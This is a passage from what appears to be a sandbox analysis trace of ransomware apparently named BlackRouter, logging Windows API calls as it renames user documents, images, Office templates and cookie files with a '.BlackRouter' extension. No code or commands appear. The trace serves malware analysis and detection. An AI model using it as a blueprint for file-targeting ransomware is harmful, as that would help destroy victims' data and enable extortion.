HALPmcxz\\AppData\\Roaming\\CZ6h.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\cz6h.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e9a7610, ftCreationTime.dwHighDateTime=0x1d46074, ftLastAccessTime.dwLowDateTime=0xab95ec60, ftLastAccessTime.dwHighDateTime=0x1d46469, ftLastWriteTime.dwLowDateTime=0xd3818310, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x7530)) returned 1 [0075.481] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CZ6h.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\cz6h.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CZ6h.bmp.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\cz6h.bmp.blackrouter")) returned 1 [0075.482] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x441a [0075.486] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HPX0NEzFN3Dr8lA3Kv4a.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\hpx0nezfn3dr8la3kv4a.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xea8e4860, ftCreationTime.dwHighDateTime=0x1d45d5a, ftLastAccessTime.dwLowDateTime=0xacac4590, ftLastAccessTime.dwHighDateTime=0x1d4580c, ftLastWriteTime.dwLowDateTime=0xd3818310, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x4420)) returned 1 [0075.486] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HPX0NEzFN3Dr8lA3Kv4a.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\hpx0nezfn3dr8la3kv4a.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HPX0NEzFN3Dr8lA3Kv4a.bmp.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\hpx0nezfn3dr8la3kv4a.bmp.blackrouter")) returned 1 [0075.487] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x6f71 [0075.491] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\9SnSM.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\9snsm.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80ea3250, ftCreationTime.dwHighDateTime=0x1d45663, ftLastAccessTime.dwLowDateTime=0xf81374d0, ftLastAccessTime.dwHighDateTime=0x1d4650a, ftLastWriteTime.dwLowDateTime=0xd3818310, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x6f80)) returned 1 [0075.491] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\9SnSM.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\9snsm.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\9SnSM.jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\9snsm.jpg.blackrouter")) returned 1 [0075.493] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x568d [0075.497] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\A0m6zVX.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\a0m6zvx.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd6024080, ftCreationTime.dwHighDateTime=0x1d45d47, ftLastAccessTime.dwLowDateTime=0x2209e6d0, ftLastAccessTime.dwHighDateTime=0x1d46235, ftLastWriteTime.dwLowDateTime=0xd383e470, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x5690)) returned 1 [0075.497] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\A0m6zVX.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\a0m6zvx.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\A0m6zVX.jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\a0m6zvx.jpg.blackrouter")) returned 1 [0075.498] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x13133 [0075.505] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\k5Riy0K2kK.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\k5riy0k2kk.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb656bc0, ftCreationTime.dwHighDateTime=0x1d461be, ftLastAccessTime.dwLowDateTime=0x3ea10b10, ftLastAccessTime.dwHighDateTime=0x1d45eda, ftLastWriteTime.dwLowDateTime=0xd383e470, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x13140)) returned 1 [0075.505] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\k5Riy0K2kK.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\k5riy0k2kk.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\k5Riy0K2kK.jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\k5riy0k2kk.jpg.blackrouter")) returned 1 [0075.506] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x20c1 [0075.509] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\wvjWnnVdQq-r.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\wvjwnnvdqq-r.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbad51310, ftCreationTime.dwHighDateTime=0x1d45bed, ftLastAccessTime.dwLowDateTime=0xb3c3efb0, ftLastAccessTime.dwHighDateTime=0x1d45eae, ftLastWriteTime.dwLowDateTime=0xd383e470, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x20d0)) returned 1 [0075.509] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\wvjWnnVdQq-r.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\wvjwnnvdqq-r.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\wvjWnnVdQq-r.jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\wvjwnnvdqq-r.jpg.blackrouter")) returned 1 [0075.512] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x545f [0075.515] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\XZTOkbN.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\xztokbn.csv"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4a72c150, ftCreationTime.dwHighDateTime=0x1d4618b, ftLastAccessTime.dwLowDateTime=0x67e79870, ftLastAccessTime.dwHighDateTime=0x1d45ffe, ftLastWriteTime.dwLowDateTime=0xd38645d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x5460)) returned 1 [0075.515] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\XZTOkbN.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\xztokbn.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\XZTOkbN.csv.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\xztokbn.csv.blackrouter")) returned 1 [0075.517] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0xec61 [0075.522] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\vYpoE.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\vypoe.pps"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f5edfa0, ftCreationTime.dwHighDateTime=0x1d45a4e, ftLastAccessTime.dwLowDateTime=0x9cfc9c80, ftLastAccessTime.dwHighDateTime=0x1d4627a, ftLastWriteTime.dwLowDateTime=0xd38645d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xec70)) returned 1 [0075.523] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\vYpoE.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\vypoe.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\vYpoE.pps.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\vypoe.pps.blackrouter")) returned 1 [0075.534] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0xa0d8 [0075.539] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\wA8jf.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\wa8jf.pps"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf0dba400, ftCreationTime.dwHighDateTime=0x1d45a40, ftLastAccessTime.dwLowDateTime=0xdccb73f0, ftLastAccessTime.dwHighDateTime=0x1d45a0e, ftLastWriteTime.dwLowDateTime=0xd388a730, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xa0e0)) returned 1 [0075.539] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\wA8jf.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\wa8jf.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\wA8jf.pps.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\wa8jf.pps.blackrouter")) returned 1 [0075.541] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x17965 [0075.549] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CFt3uqqzXugfIRSk.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\cft3uqqzxugfirsk.pptx"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe09120b0, ftCreationTime.dwHighDateTime=0x1d4585c, ftLastAccessTime.dwLowDateTime=0x730ae50, ftLastAccessTime.dwHighDateTime=0x1d460f2, ftLastWriteTime.dwLowDateTime=0xd38b0890, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x17970)) returned 1 [0075.549] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CFt3uqqzXugfIRSk.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\cft3uqqzxugfirsk.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CFt3uqqzXugfIRSk.pptx.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\cft3uqqzxugfirsk.pptx.blackrouter")) returned 1 [0075.552] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0xedd1 [0075.558] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\k5OQnKXlC3hfXPo ijDS.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\k5oqnkxlc3hfxpo ijds.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7abc1c0, ftCreationTime.dwHighDateTime=0x1d465c0, ftLastAccessTime.dwLowDateTime=0x9ae009c0, ftLastAccessTime.dwHighDateTime=0x1d45c06, ftLastWriteTime.dwLowDateTime=0xd38d69f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xede0)) returned 1 [0075.558] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\k5OQnKXlC3hfXPo ijDS.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\k5oqnkxlc3hfxpo ijds.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\k5OQnKXlC3hfXPo ijDS.xlsx.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\k5oqnkxlc3hfxpo ijds.xlsx.blackrouter")) returned 1 [0075.560] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x11bac [0075.566] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\mpw7JxYUygwbyKrUh.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mpw7jxyuygwbykruh.doc"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xedbfc790, ftCreationTime.dwHighDateTime=0x1d45cbd, ftLastAccessTime.dwLowDateTime=0xdc0f4ce0, ftLastAccessTime.dwHighDateTime=0x1d45ca0, ftLastWriteTime.dwLowDateTime=0xd38d69f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x11bb0)) returned 1 [0075.566] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\mpw7JxYUygwbyKrUh.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mpw7jxyuygwbykruh.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\mpw7JxYUygwbyKrUh.doc.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mpw7jxyuygwbykruh.doc.blackrouter")) returned 1 [0075.972] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x0 [0075.973] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.js"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xd3cb4db0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0075.973] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.js.blackrouter")) returned 1 [0075.974] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0xa [0075.978] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.settings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xd3cdaf10, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0075.978] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.settings.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.settings.js.blackrouter")) returned 1 [0075.991] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x1517 [0076.013] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\addressbook.acrodata" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\addressbook.acrodata"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xda8cdc00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda8cdc00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd3d271d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1520)) returned 1 [0076.013] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\addressbook.acrodata" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\addressbook.acrodata"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\addressbook.acrodata.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\addressbook.acrodata.blackrouter")) returned 1 [0076.633] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x3fe4ab [0077.064] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\Built-In Building Blocks.dotx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\document building blocks\\1033\\14\\built-in building blocks.dotx"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd471edf0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3fe4b0)) returned 1 [0077.064] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\Built-In Building Blocks.dotx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\document building blocks\\1033\\14\\built-in building blocks.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\Built-In Building Blocks.dotx.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\document building blocks\\1033\\14\\built-in building blocks.dotx.blackrouter")) returned 1 [0077.766] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0x509b [0077.775] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\templates\\normal.dotm"), fInfoLevelId=0x0, lpFileInformation=0x1ae5a0 | out: lpFileInformation=0x1ae5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5db2c650, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x5db2c650, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4df6d30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x50a0)) returned 1 [0077.775] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\templates\\normal.dotm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\templates\\normal.dotm.blackrouter")) returned 1 [0077.797] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x53 [0077.800] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1c3625f0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1c3625f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xd4e1ce90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x60)) returned 1 [0077.800] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt.blackrouter")) returned 1 [0077.802] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x227 [0077.805] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1d72bcd0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1e6a4bd0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xd4e42ff0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x230)) returned 1 [0077.805] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt.blackrouter")) returned 1 [0077.818] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0xf1 [0077.821] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt"), fInfoLevelId=0x0, 